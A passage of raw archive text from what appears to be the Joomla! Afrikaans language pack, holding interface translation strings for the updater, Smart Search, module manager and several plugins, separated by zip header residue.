beide die voorkant-werf en die agterkant beheer paneel" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_ADMIN_LABEL="Vertoon ingelogde agterent gebruikers" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_ADMIN_DESC="Vertoon die aantal gebruikers wat in die agterent beheer-paneel ingelog is" PK@y>\0language/af-ZA/af-ZA.plg_system_redirect.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_system_redirect.sys.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SYSTEM_REDIRECT="Stelsel - Herlei" PLG_REDIRECT_XML_DESCRIPTION="Die stelsel Herlei inprop-program ontsper die Joomla! Herlei-stelsel om ontbrekende bladsye te vang en gebruikers te herlei." PK@y>\r )language/af-ZA/af-ZA.com_joomlaupdate.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.com_joomlaupdate.ini 1776 2012-06-15 10:26:41Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_JOOMLAUPDATE_CONFIG_SOURCES_DESC="Konfigureer waar Joomla! sy opdateerings-inligting vandaan kry" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_CUSTOM="Pasgemaakte URL" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_LABEL="Opdateerings-bediener" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_LTS="Lang Termyn Ondersteuning (aanbeveel)" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_STS="Kort Termyn Ondersteuning" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_TESTING="Besig om te toets" COM_JOOMLAUPDATE_OVERVIEW="Joomla! Opdateer" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_DIRECTORY="FTP lêergids" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_HOSTNAME="FTP bediener" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_PASSWORD="FTP wagwoord" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_PORT="FTP poort" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_USERNAME="FTP gebruikernaam" COM_JOOMLAUPDATE_VIEW_DEFAULT_INSTALLED="Geïnstalleerde Joomla! weergawe" COM_JOOMLAUPDATE_VIEW_DEFAULT_INSTALLUPDATE="Installeer die opdateering" COM_JOOMLAUPDATE_VIEW_DEFAULT_LATEST="Nuutste Joomla! weergawe" COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD="Installeerings-metode" COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD_DIRECT="Skryf lêërs direk" COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD_FTP="Skryf lêërs d.m.v. FTP" COM_JOOMLAUPDATE_VIEW_DEFAULT_NOUPDATES="Geen opdateerings beskikbaar nie" COM_JOOMLAUPDATE_VIEW_DEFAULT_NOUPDATESNOTICE="Jy het reeds die nuutste Joomla! weergawe, %s." COM_JOOMLAUPDATE_VIEW_DEFAULT_PACKAGE="Opdateer paket URL" COM_JOOMLAUPDATE_VIEW_DEFAULT_UPDATEFOUND="'n Joomla! opdateering is gevind" COM_JOOMLAUPDATE_XML_DESCRIPTION="Jy kan Joomla! na die nuutste weergawe opdateer deur net een kliek" COM_JOOMLAUPDATE_CONFIG_CUSTOMURL_LABEL="Pasgemaakte URL" COM_JOOMLAUPDATE_CONFIG_SOURCES_LABEL="Opdateer Bron" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_DESC="Die opdateerings-bediener wat Joomla! sal gebruik om uit te vind of 'n opdateering beskikbaar is" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_NOCHANGE="Huidiglik gekonfigureer (geen verandering nie)" COM_JOOMLAUPDATE_CONFIG_CUSTOMURL_DESC="Hierdie is 'n pasgemaakte XML opdateerings-bron URL, wat slegs gebruik word wanneer die "_QQ_"Opdateer Bron"_QQ_" opsie na "_QQ_"Pasgemaakte"_QQ_" gestel is." COM_JOOMLAUPDATE_VIEW_UPDATE_INPROGRESS="Besig met Joomla! opdateerings proses" COM_JOOMLAUPDATE_VIEW_UPDATE_BYTESREAD="Grepe gelees" COM_JOOMLAUPDATE_VIEW_UPDATE_DOWNLOADFAILED="Die aflaai van die opdateerings-paket het gefaal" COM_JOOMLAUPDATE_VIEW_UPDATE_BYTESEXTRACTED="Grepe uitgepak" COM_JOOMLAUPDATE_VIEW_UPDATE_FILESEXTRACTED="Lêërs uitgepak" COM_JOOMLAUPDATE_CONFIGURATION="Joomla Opdateering Konfigurasie" COM_JOOMLAUPDATE_VIEW_COMPLETE_HEADING="Joomla! Versie Opdaterings-Status" COM_JOOMLAUPDATE_VIEW_COMPLETE_MESSAGE="Jou werf is suksesvol opgedateer. Jou Joomla versie is nou %s." COM_JOOMLAUPDATE_VIEW_DEFAULT_DOWNLOAD_IN_PROGRESS="Opdateerings-lêer word afgelaai. Wag asseblief..." COM_JOOMLAUPDATE_VIEW_PROGRESS="Opdateerings proses" COM_JOOMLAUPDATE_VIEW_UPDATE_PERCENT="Persent voltooi" PK@y>\.-language/af-ZA/af-ZA.plg_content_vote.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_content_vote.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_CONTENT_VOTE="Inhoud - Stem" PLG_VOTE_XML_DESCRIPTION="Voeg die Stem funksie by Artikels" PK@y>\{{9{9#language/af-ZA/af-ZA.com_finder.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.com_finder.ini 1788 2012-07-31 22:18:21Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_FINDER_CONFIG_DESCRIPTION_LENGTH_LABEL="Beskrywing Length" COM_FINDER_CONFIG_IMPORT_EXPORT_HELP="Hulp" COM_FINDER_FIELD_CREATED_BY_ALIAS_LABEL="Alias" COM_FINDER_FIELDSET_SEARCH_OPTIONS_DESCRIPTION="Soektog Opsies" COM_FINDER_FIELDSET_INDEX_OPTIONS_LABEL="Indeks" COM_FINDER_FIELDSET_SEARCH_OPTIONS_LABEL="Soektog" COM_FINDER_FILTER_BRANCH_LABEL="Soek volgens %s" COM_FINDER_FILTER_BY="Vertoon %s:" COM_FINDER_FILTER_END_DATE_DESCRIPTION="Formaat JJJJ-MM-DD" COM_FINDER_FILTER_END_DATE_LABEL="Einddatum" COM_FINDER_FILTER_START_DATE_DESCRIPTION="Formaat JJJJ-MM-DD" COM_FINDER_FILTER_START_DATE_LABEL="Begindatum" COM_FINDER_FILTER_TITLE_DESCRIPTION="Die filter se titel." COM_FINDER_FILTER_WHEN_AFTER="Na" COM_FINDER_FILTER_WHEN_BEFORE="Voor" COM_FINDER_FILTER_WHEN_END_DATE_LABEL="Wanneer (Einddatum)" COM_FINDER_FILTER_WHEN_EXACTLY="Presies" COM_FINDER_FILTER_WHEN_START_DATE_LABEL="Wanneer (Begindatum)" COM_FINDER_GO="Gaan" COM_FINDER_INDEXER_HEADER_ERROR="Daar was 'n fout" COM_FINDER_INDEXER_INVALID_STEMMER="Ongeldige stam tipe %s" COM_FINDER_INDEX_HEADING_INDEX_TYPE="Tipe" COM_FINDER_INDEX_TOOLBAR_PURGE="Purgeer" COM_FINDER_INDEX_TYPE_FILTER="Enige tipe Inhoud" COM_FINDER_ITEMS="Inhoud" COM_FINDER_ITEM_X_ONLY="%s alleenlik" COM_FINDER_MAPS="Kaarte" COM_FINDER_MAP_UNPUBLISH_SUCCESS="Die gekose kaart(e) is suksesvol ont-publiseer." COM_FINDER_N_ITEMS_DELETED="%d items suksesvol geskrap" COM_FINDER_N_ITEMS_DELETED_1="%d item suksesvol geskrap" COM_FINDER_N_ITEMS_PUBLISHED="%d items suksesvol gepubliseer" COM_FINDER_N_ITEMS_PUBLISHED_1="%d item suksesvol gepubliseer" COM_FINDER_N_ITEMS_TRASHED="%d items suksesvol gepurgeer" COM_FINDER_N_ITEMS_TRASHED_1="%d item suksesvol gepurgeer" COM_FINDER_N_ITEMS_UNPUBLISHED="%d items suksesvol ont-publiseer" COM_FINDER_N_ITEMS_UNPUBLISHED_1="%d item suksesvol ont-publiseer" COM_FINDER_QUERY_FILTER_TODAY="Vandag" COM_FINDER_QUERY_OPERATOR_AND="En" COM_FINDER_QUERY_OPERATOR_NOT="Nie" COM_FINDER_QUERY_OPERATOR_OR="Of" COM_FINDER_SEARCH_LABEL="Soek vir %s:" COM_FINDER_STATISTICS="Statistieke" COM_FINDER_STATISTICS_LINK_TYPE_COUNT="Telling" COM_FINDER_STATISTICS_LINK_TYPE_HEADING="Skakel Tipe" COM_FINDER_STATISTICS_LINK_TYPE_TOTAL="Totaal" COM_FINDER_CONFIG_EXPAND_ADVANCED_LABEL="Brei gevorderde soektog uit" COM_FINDER_CONFIG_BATCH_SIZE_LABEL="Indekseerder Bondelopdrag Grootte" COM_FINDER_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_LABEL="OpenSearch Beskrywing" COM_FINDER_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_DESCRIPTION="Beskrywing wat vir hierdie werf vertoon moet wanneer dit ook 'n soektog-verskaffer is." COM_FINDER_CONFIG_FIELD_OPENSEARCH_NAME_DESCRIPTION="Naam wat vir hierdie werf vertoon moet wanneer dit ook 'n soektog-verskaffer is." COM_FINDER_CONFIG_FIELD_OPENSEARCH_NAME_LABEL="OpenSearch Naam" COM_FINDER_CONFIG_IMPORT_EXPORT="Importeer/Eksporteer" COM_FINDER_CONFIG_IMPORT_FROM_FILE="Importeer van Lêer:" COM_FINDER_CONFIG_IMPORT_FROM_STRING="Importeer van Teks:" COM_FINDER_CONFIG_SHOW_ADVANCED_LABEL="Gevorderde Soektog" COM_FINDER_CONFIG_SHOW_DATE_FILTERS_LABEL="Datum Filters" COM_FINDER_CONFIG_SHOW_URL_DESCRIPTION="Vertoon die geassosieerde URL vir hierdie item." COM_FINDER_CONFIG_SHOW_URL_LABEL="Resultaat URL" COM_FINDER_CONFIG_SORT_DIRECTION_LABEL="Rangskikking Rigting" COM_FINDER_CONFIG_SORT_DIRECTION_DESC="Die rigting waarin soektog-uitslae rangskik moet word." COM_FINDER_CONFIG_SORT_OPTION_LIST_PRICE="Lys prys" COM_FINDER_CONFIG_SORT_OPTION_START_DATE="Datum" COM_FINDER_CONFIG_SORT_ORDER_LABEL="Sorteer Veld" COM_FINDER_CONFIG_STEMMER_PORTER_EN="Slegs Engels" COM_FINDER_CONFIG_STEMMER_SNOWBALL="Sneeubal" COM_FINDER_CREATE_FILTER="Skep 'n filter." COM_FINDER_EDIT_FILTER="Redigeer Filter" COM_FINDER_EXPORT="Eksporteer" COM_FINDER_FIELD_CREATED_BY_LABEL="Geskep deur" COM_FINDER_FIELD_CREATED_BY_DESC="Die gebruiker wat die filter geskep het" COM_FINDER_FIELD_MODIFIED_DESCRIPTION="Die datum en tyd toe die filter was laas gewysig is." COM_FINDER_FIELDSET_INDEX_OPTIONS_DESCRIPTION="Indekseerings Opsies" COM_FINDER_FILTERS="Filters" COM_FINDER_FILTERS_DELETE_CONFIRMATION="Is jy seker dat jy die gekose filters(s) wil skrap?" COM_FINDER_FILTER_SEARCH_DESCRIPTION="Filtreer die lys volgens titel." COM_FINDER_FILTER_SELECT_ALL_LABEL="Almal Deursoek" COM_FINDER_FILTER_TIMESTAMP="Geskep Op" COM_FINDER_IMPORT="Importeer" COM_FINDER_INDEX="Indekseer" COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT="Is jy seker dat jy die gekose item(s) wil skrap?" COM_FINDER_INDEX_CONFIRM_PURGE_PROMPT="Is jy seker dat jy AL die items in hierdie indeks wil skrap? Die kan lank duur op groot webwerwe." COM_FINDER_INDEXER_HEADER_COMPLETE="Indekseering Voltooi" COM_FINDER_INDEXER_HEADER_INIT="Begin Indekseerder" COM_FINDER_INDEXER_HEADER_OPTIMIZE="Optimeer Indeks" COM_FINDER_INDEXER_HEADER_RUNNING="Indekseerder Loop" COM_FINDER_INDEXER_INVALID_PARSER="Ongeldige parseerder tipe %s" COM_FINDER="Slim Soektog" COM_FINDER_CONFIG_SORT_OPTION_ASCENDING="Opdalend" COM_FINDER_CONFIG_SORT_OPTION_DESCENDING="Afstygend" COM_FINDER_UPDATER_MESSAGE_PROCESS="Slim Soektog word updateer." COM_FINDER_XML_DESCRIPTION="Slim Soektog." COM_FINDER_UPDATER_MESSAGE_OPTIMIZE="Slim Soektog is besig met optimeering." COM_FINDER_AN_ERROR_HAS_OCCURRED="Daar was 'n Fout" COM_FINDER_CONFIG_ALLOW_EMPTY_QUERY_LABEL="Laat Leë Soektog toe" COM_FINDER_CONFIG_BATCH_SIZE_DESCRIPTION="Die bondelgrootte beheer die aantal items wat per bondel verwerk sal word. Groot bondelgroottes benodig baie geheue, terwyl klein bondelgroottes minder geheue benodig maar meer navrae sal uitvoer en dus langer sal duur." COM_FINDER_CONFIG_HILIGHT_CONTENT_SEARCH_TERMS_LABEL="Beklemtoon Soektog Terme" COM_FINDER_CONFIG_MEMORY_TABLE_LIMIT_LABEL="Geheue Tabel Beperking" COM_FINDER_SUBMENU_INDEX="Indekseerde Inhoud" COM_FINDER_STATISTICS_TITLE="Slim Soektog Statistieke" COM_FINDER_SUBMENU_FILTERS="Soektog Filters" COM_FINDER_SUBMENU_MAPS="Inhouds-Afbeelde" COM_FINDER_CONFIG_SORT_OPTION_RELEVANCE="Toepaslikheid" COM_FINDER_FILTER_FIELDSET_DETAILS="Filter Gegewens" COM_FINDER_MAPS_BRANCHES="Slegs Takke" COM_FINDER_CONFIG_SHOW_DESCRIPTION_LABEL="Resultaat Beskrywing" COM_FINDER_INDEX_DATE_INFO="Skakel Datum Inligting::Publiseer Begin: %s
              Publiseer Eindig: %s
              Inhoud Begin: %s
              Inhoud Eindig: %s" COM_FINDER_INDEXER_MESSAGE_COMPLETE="The indeksserings-proses is voltooi. Dit is nou veilig om die venster te sluit." COM_FINDER_INDEXER_MESSAGE_INIT="The indeksserings-proses begin. Moenine die venster sluit nie." COM_FINDER_INDEXER_MESSAGE_OPTIMIZE="Die indekseer-tabelle word optimiseer vir die beste moontlike verrigting. Moenine die venster sluit nie." COM_FINDER_INDEXER_MESSAGE_RUNNING="Jou inhoud word indekseer Moenine die venster sluit nie." COM_FINDER_INDEX_FILTER_BY_STATE="Enige Publiseerde Status" COM_FINDER_INDEX_HEADING_INDEX_DATE="Laas Opdateer" COM_FINDER_INDEX_HEADING_LINK_URL="Rou URL" COM_FINDER_INDEX_NO_CONTENT="Geen inhoud stem met jou soektog kriteria ooreen nie." COM_FINDER_INDEX_NO_DATA="Geen inhoud is geindekseer nie." COM_FINDER_INDEX_PURGE_SUCCESS="Alle items is suksesvol gepurgeer." COM_FINDER_CONFIG_SHOW_AUTOSUGGEST_DESCRIPTION="Kies of outomatiese soek-voorstelle vertoon moet word." COM_FINDER_CONFIG_SHOW_AUTOSUGGEST_LABEL="Soek Voorstelle" COM_FINDER_CONFIG_SHOW_DATE_FILTERS_DESCRIPTION="Vertoon die begin- en eind datum-filters in die gevorderd soektog." COM_FINDER_CONFIGURATION="Slim Soektog: Konfigurasie" COM_FINDER_MAPS_BRANCH_LINK="Kliek om die afstammelinge in hierdie tak te vertoon." COM_FINDER_MAPS_CONFIRM_DELETE_PROMPT="Is jy seker dat jy die gekose map(pe) wil skrap?" COM_FINDER_MAP_PUBLISH_SUCCESS="Die gekose map(pe) is suksesvol gepubliseer." COM_FINDER_MAPS_MULTILANG="Let op: Die Taalfilter stelsel inprop-program is ontsper, dus sal hierdie tak nie gebruik word nie." COM_FINDER_MAPS_NO_CONTENT="Geen uitslae om te vertoon nie. Óf geen inhoud is geindekseer nie, ó geen inhoud voldoen aan jou filter-kiteria nie." COM_FINDER_CONFIG_SORT_ORDER_DESC="Die veld waarvolgens die soektog uitslae sorteer word." COM_FINDER_FILTER_FIELDSET_PARAMS="Filter Tydlyn" COM_FINDER_N_ITEMS_CHECKED_IN_0="Geen item is suksesvol ingeteken nie" COM_FINDER_N_ITEMS_CHECKED_IN_1="%d item suksesvol ingeteken" COM_FINDER_N_ITEMS_CHECKED_IN_MORE="%d items suksesvol ingeteken" COM_FINDER_NO_FILTERS="Geen filters is tot nou toe geskep nie." COM_FINDER_STATISTICS_STATS_DESCRIPTION="Die geindekseerde inhoud op hierdie werf sluit %s terme in, oor %s skakels met %s eienskappe in %s takke." COM_FINDER_UPDATER_MESSAGE_COMPLETE="Slim Soektog is op datum." COM_FINDER_CONFIG_ALLOW_EMPTY_QUERY_DESCRIPTION="Slegs as 'n filter gekies is, sal 'n leë soektog-string toegelaat word." COM_FINDER_CONFIG_DESCRIPTION_LENGTH_DESCRIPTION="Beskrywingsteks vir soektogresultate sal be afgekort word na die aangegewe aantal karakters." COM_FINDER_CONFIG_EXPAND_ADVANCED_DESCRIPTION="Kies of die gevorderde soektog-opsies by verstek uitgebrei behoort te word." COM_FINDER_CONFIG_HILIGHT_CONTENT_SEARCH_TERMS_DESCRIPTION="Kies of die soektog-terme beklemtoon moet word." COM_FINDER_CONFIG_IMPORT_TOOLBAR_TITLE="Slim Soektog: Invoer/Uitvoer van Konfigurasie" COM_FINDER_CONFIG_MEMORY_TABLE_LIMIT_DESCRIPTION="Die geheue-tabel limiet behoort nie verander te word nie, behalwe as jy foute kry wat aanlei dat die finder_tokens of die finder_tokens_aggregate tabelle vol is. Die verstek is 30,000." COM_FINDER_FILTER_MAP_COUNT="Map Telling" COM_FINDER_FILTER_MAP_COUNT_DESCRIPTION="Die aantal mappe om in die filter in te sluit." COM_FINDER_CONFIG_STEMMER_ENABLE_DESCRIPTION="Ontsper woord-stemming (lemmatiseering) indien beskikbaar." COM_FINDER_CONFIG_STEMMER_ENABLE_LABEL="Ontsper woord-stemmer" COM_FINDER_CONFIG_STEMMER_LABEL="Stemmer" COM_FINDER_MAPS_RETURN_TO_BRANCHES="Keer terug na Takke" COM_FINDER_MAPS_TOOLBAR_TITLE="Slim Soektog: Bestuur Inhoud Mappe" COM_FINDER_MAP_UNPUBLISH_FAILED="Die gekose map(pe) kon nie ont-publiseer word nie. Die foutboodskap is: %s." COM_FINDER_MESSAGE_RETURNED="Die volgende boodskap is deur die bediener terug gestuur:" COM_FINDER_NO_ERROR_RETURNED="Geen fout nie is terug gestuur nie. Maak seker dat fout-reporteering ontsper is." COM_FINDER_NO_RESULTS="Geen resultate pas jou soek kriteria nie." COM_FINDER_CONFIG_IMPORT_EXPORT_INSTRUCTIONS="Om jou konfigurasie-opsies uit te voer, kliek op die Uitvoer-knoppie op die nutsbalk hoerbo.

              Om konfigurasie-opsies in te voer, kliek op die Bruis-knoppie en kies 'n lêer van jou hardeskyf of kopieer-en-plak die data in die teksveld hieronder em kliek die Invoer-knoppie op die nutbalk hierbo." COM_FINDER_CONFIG_META_MULTIPLIER_DESCRIPTION="Die Vermenigvuldiger word gebruik om die invloed van passende teks om die algemede relevansie-telling in soekresultate te beheer. 'n Vermenigvuldiger word in verband met ander Vermenigvuldigers in ag geneem. Die metadata kom uit 'n aantal bronne, wat o.a. die meta-sleutelwoorde en meta-beskrywing, outeur naam, ens. insluit." COM_FINDER_CONFIG_META_MULTIPLIER_LABEL="Meta Data Lading Vermenigvuldiger" COM_FINDER_CONFIG_MISC_MULTIPLIER_DESCRIPTION="Die Vermenigvuldiger word gebruik om die invloed van passende teks om die algemede relevansie-telling in soekresultate te beheer. 'n Vermenigvuldiger word in verband met ander Vermenigvuldigers in ag geneem. Die diverse teks uit 'n aantal bronne, wat o.a. kommentaar en ander geassosieerde data insluit." COM_FINDER_CONFIG_MISC_MULTIPLIER_LABEL="Diverse Teks Lading Vermenigvuldiger" COM_FINDER_CONFIG_PATH_MULTIPLIER_DESCRIPTION="TDie Vermenigvuldiger word gebruik om die invloed van passende teks om die algemede relevansie-telling in soekresultate te beheer. 'n Vermenigvuldiger word in verband met ander Vermenigvuldigers in ag geneem. Die teks gidpad kom uit die SEF-URL in die inhoud" COM_FINDER_CONFIG_PATH_MULTIPLIER_LABEL="Gidspad Teks Lading Vermenigvuldiger" COM_FINDER_CONFIG_SHOW_ADVANCED_DESCRIPTION="Wissel as gebruikers die gevorderde soek-opsies mag sien." COM_FINDER_CONFIG_SHOW_DESCRIPTION_DESCRIPTION="Wissel as die beskrywing met die soekresultate vertoon moet word." COM_FINDER_CONFIG_STEMMER_DESCRIPTION="Die woord-stemmer om te gebruik. Kies snowball indien 'n woord-stemmer nie vir jou taal beskikbaar is nie, of as jy veeltalge inhoud het." COM_FINDER_CONFIG_TEXT_MULTIPLIER_DESCRIPTION="Die Vermenigvuldiger word gebruik om die invloed van passende teks om die algemede relevansie-telling in soekresultate te beheer. 'n Vermenigvuldiger word in verband met ander Vermenigvuldigers in ag geneem. Die teks kom uit die opsomming en/of liggaam van die inhoud." COM_FINDER_CONFIG_TEXT_MULTIPLIER_LABEL="Liggaam-Teks Lading Vermenigvuldiger" COM_FINDER_CONFIG_TITLE_MULTIPLIER_DESCRIPTION="Die Vermenigvuldiger word gebruik om die invloed van passende teks om die algemede relevansie-telling in soekresultate te beheer. 'n Vermenigvuldiger word in verband met ander Vermenigvuldigers in ag geneem. Die titel-teks kom uit die inhoud se titel." COM_FINDER_CONFIG_TITLE_MULTIPLIER_LABEL="Titel Teks Lading Vermenigvuldiger" COM_FINDER_FIELD_CREATED_BY_ALIAS_DESC="Vertoonnaam van die filter-skepper" COM_FINDER_FILTER_EDIT_TOOLBAR_TITLE="Slim Soektog: Redigeer Soek Filter" COM_FINDER_FILTERS_TOOLBAR_TITLE="Slim Soektog: Bestuur Soektog Filters" COM_FINDER_FILTER_WHEN_END_DATE_DESCRIPTION="Wanneer om relatief t.o.v. die eind datum (voor, na of presies)" COM_FINDER_FILTER_WHEN_START_DATE_DESCRIPTION="Wanneer om relatief t.o.v. die begin datum (voor, na of presies)" COM_FINDER_INDEX_PLUGIN_CONTENT_NOT_ENABLED="Slim Soektog inhoud inprop-program is nie ontsper nie. Inhoudswysigings sal nie die Slim Soektog-indeks opdateer as jy nie hierdie inprop-program ontsper nie." COM_FINDER_INDEX_TIP="Begin die indekseerder deur die Indekseer-knoppie op die nutsbalk te kliek." COM_FINDER_INDEX_TOOLBAR_TITLE="Slim Soektog: Bestuur Indekseerde Inhoud" COM_FINDER_MAP_PUBLISH_FAILED="Die gekiesde map(pe) kon nie gepubliseer word nie. Die teruggegewe fout boodskap is: %s." COM_FINDER_CONFIG_ENABLE_LOGGING_DESCRIPTION="Ontsper hierdie opsie om 'n stawings lêer in jou werf se stawings-lêergids to skep gedurende die indekseerings-proces. Hierdie lêer is is baie nuttig om probleme met die indekseerings-proses te ontfout. Dit aangeraai dat stawing gesper bly todat dit noodsaaklik is." COM_FINDER_CONFIG_ENABLE_LOGGING_LABEL="Ontsper Stawing" PK@y>\~mY$language/af-ZA/af-ZA.mod_submenu.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.mod_submenu.ini 1703 2012-02-03 11:27:44Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_SUBMENU="mod_submenu" MOD_SUBMENU_XML_DESCRIPTION="Hierdie Module vertoon die sub-Menu Navigasie Module" PK@y>\T+T''$language/af-ZA/af-ZA.com_modules.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.com_modules.ini 1720 2012-02-12 21:44:37Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_MODULES_BASIC_FIELDSET_LABEL="Basiese Opsies" COM_MODULES_ERROR_NO_MODULES_SELECTED="Geen module gekies nie" COM_MODULES_FIELD_CACHE_TIME_LABEL="Kas Tyd" COM_MODULES_FIELD_MODULE_DESC="Module tipe" COM_MODULES_FIELD_MODULE_LABEL="Module Tipe" COM_MODULES_FIELD_POSITION_LABEL="Posisie" COM_MODULES_HEADING_POSITION="Posisie" COM_MODULES_HEADING_TEMPLATES="Templette" COM_MODULES_MODULE_DESCRIPTION="Module Beskrywing" COM_MODULES_POSITION_POSITION-0="Posisie 0" COM_MODULES_POSITION_POSITION-10="Posisie 10" COM_MODULES_POSITION_POSITION-11="Posisie 11" COM_MODULES_POSITION_POSITION-12="Posisie 12" COM_MODULES_POSITION_POSITION-13="Posisie 13" COM_MODULES_POSITION_POSITION-14="Posisie 14" COM_MODULES_POSITION_POSITION-15="Posisie 15" COM_MODULES_POSITION_POSITION-1="Posisie 1" COM_MODULES_POSITION_POSITION-2="Posisie 2" COM_MODULES_POSITION_POSITION-3="Posisie 3" COM_MODULES_POSITION_POSITION-4="Posisie 4" COM_MODULES_POSITION_POSITION-5="Posisie 5" COM_MODULES_POSITION_POSITION-6="Posisie 6" COM_MODULES_POSITION_POSITION-7="Posisie 7" COM_MODULES_POSITION_POSITION-8="Posisie 8" COM_MODULES_POSITION_POSITION-9="Posisie 9" COM_MODULES_POSITION_RIGHT2="Regs 2" COM_MODULES_POSITION_RIGHT="Regs" COM_MODULES_POSITION_SUB1="Sub 1" COM_MODULES_POSITION_SUB2="Sub 2" COM_MODULES_POSITION_SUB3="Sub 3" COM_MODULES_POSITION_SUB4="Sub 4" COM_MODULES_POSITION_SUB5="Sub 5" COM_MODULES_POSITION_SUB6="Sub 6" COM_MODULES_POSITION_SUBNAV="Sub Navigasie" COM_MODULES_POSITION_SUB="Sub" COM_MODULES_POSITION_TOP2="Top 2" COM_MODULES_POSITION_TOP3="Top 3" COM_MODULES_POSITION_TOP4="Top 4" COM_MODULES_POSITION_TOP="Bo" COM_MODULES_POSITION_USER1="Gebruiker 1" COM_MODULES_POSITION_USER2="Gebruiker 2" COM_MODULES_POSITION_USER3="Gebruiker 3" COM_MODULES_POSITION_USER4="Gebruiker 4" COM_MODULES_POSITION_USER5="Gebruiker 5" COM_MODULES_POSITION_USER6="Gebruiker 6" COM_MODULES_POSITION_USER7="Gebruiker 7" COM_MODULES_POSITION_USER8="Gebruiker 8" COM_MODULES_SAVE_SUCCESS="Module suksesvol gestoor" COM_MODULES_CHANGE_POSITION_BUTTON="Kies posisie" COM_MODULES_CHANGE_POSITION_TITLE="Wysig posisie" COM_MODULES_CONFIGURATION="Module Bestuurder Opsies" COM_MODULES_FIELD_CONTENT_DESC="Teks" COM_MODULES_FIELD_CONTENT_LABEL="Teks" COM_MODULES_FIELD_SHOWTITLE_LABEL="Vertoon Titel" COM_MODULES_FIELD_TITLE_DESC="Module moet 'n titel hê" COM_MODULES_FIELD_VALUE_NOCACHING="Geen kasseering" COM_MODULES_MODULE_TEMPLATE_POSITION="%1 (%2)" COM_MODULES_N_ITEMS_ARCHIVED_1="%d module suksesvol geargiveer" COM_MODULES_N_ITEMS_ARCHIVED="%d modules suksesvol geargiveer" COM_MODULES_N_ITEMS_CHECKED_IN_0="Geen module suksesvol ingeteken" COM_MODULES_N_ITEMS_CHECKED_IN_1="%d module suksesvol ingeteken" COM_MODULES_N_ITEMS_CHECKED_IN_MORE="%d modules suksesvol ingeteken" COM_MODULES_N_ITEMS_DELETED_1="%d module suksesvol geskrap" COM_MODULES_N_ITEMS_DELETED="%d modules suksesvol geskrap" COM_MODULES_N_ITEMS_PUBLISHED_1="%d module suksesvol gepubliseer" COM_MODULES_N_ITEMS_TRASHED_1="%d module suksesvol gepurgeer" COM_MODULES_N_ITEMS_TRASHED="%d modules suksesvol gepurgeer" COM_MODULES_N_ITEMS_UNPUBLISHED_1="%d module suksesvol ontpubliseer" COM_MODULES_N_MODULES_DUPLICATED_1="%d module suksesvol dupliseer" COM_MODULES_N_MODULES_DUPLICATED="%d modules suksesvol dupliseer" COM_MODULES_NODESCRIPTION="Geen beskrywing beskikbaar" COM_MODULES_NO_ITEM_SELECTED="Geen modules gekies" COM_MODULES_OPTION_MENU_ALL="Op alle bladsye" COM_MODULES_OPTION_MENU_EXCLUDE="Op alle bladsye behalwe die wat gekies is" COM_MODULES_OPTION_MENU_INCLUDE="Alleenlik on die gekose bladsye" COM_MODULES_OPTION_MENU_NONE="Geen bladsye nie" COM_MODULES_OPTION_ORDER_POSITION="%d. %s" COM_MODULES_OPTION_POSITION_TEMPLATE_DEFINED="Templet" COM_MODULES_OPTION_POSITION_USER_DEFINED="Gebruiker" 